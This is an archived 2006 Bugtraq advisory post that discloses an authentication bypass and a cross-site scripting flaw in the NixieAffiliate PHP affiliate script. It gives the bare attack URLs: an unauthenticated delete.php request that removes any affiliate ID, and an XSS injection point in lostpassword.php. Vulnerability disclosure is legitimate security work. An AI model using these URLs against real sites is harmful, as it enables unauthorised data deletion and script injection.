NixieAffiliate all version bypass admin and xss

To: bugtraq@xxxxxxxxxxxxxxxxx
Subject: NixieAffiliate all version bypass admin and xss
From: ali@xxxxxxxxxx
Date: 16 Sep 2006 22:30:22 -0000
List-help: <mailto:bugtraq-help@securityfocus.com>
List-id: <bugtraq.list-id.securityfocus.com>
List-post: <mailto:bugtraq@securityfocus.com>
List-subscribe: <mailto:bugtraq-subscribe@securityfocus.com>
List-unsubscribe: <mailto:bugtraq-unsubscribe@securityfocus.com>
Mailing-list: contact bugtraq-help@xxxxxxxxxxxxxxxxx; run by ezmlm

NixieAffiliate all version
vendor : idevspot.com
By : s3rv3r_hack3r
www: hackerz.ir & h4ckerz.com
Bypass for delete any aff ID :>>
www.domain.com/NixieAffiliate/delete.php?id=1
Xss :>>
www.domain.com/NixieAffiliate/forms/lostpassword.php?error=[xss]

Prev by Date: HitWeb v3.0 - Remote File Include Vulnerabilities
Next by Date: PHPQuiz Multiple Remote Vulnerabilites
Previous by thread: Re: HitWeb v3.0 - Remote File Include Vulnerabilities
Next by thread: PHPQuiz Multiple Remote Vulnerabilites
Index(es):
- Date
- Thread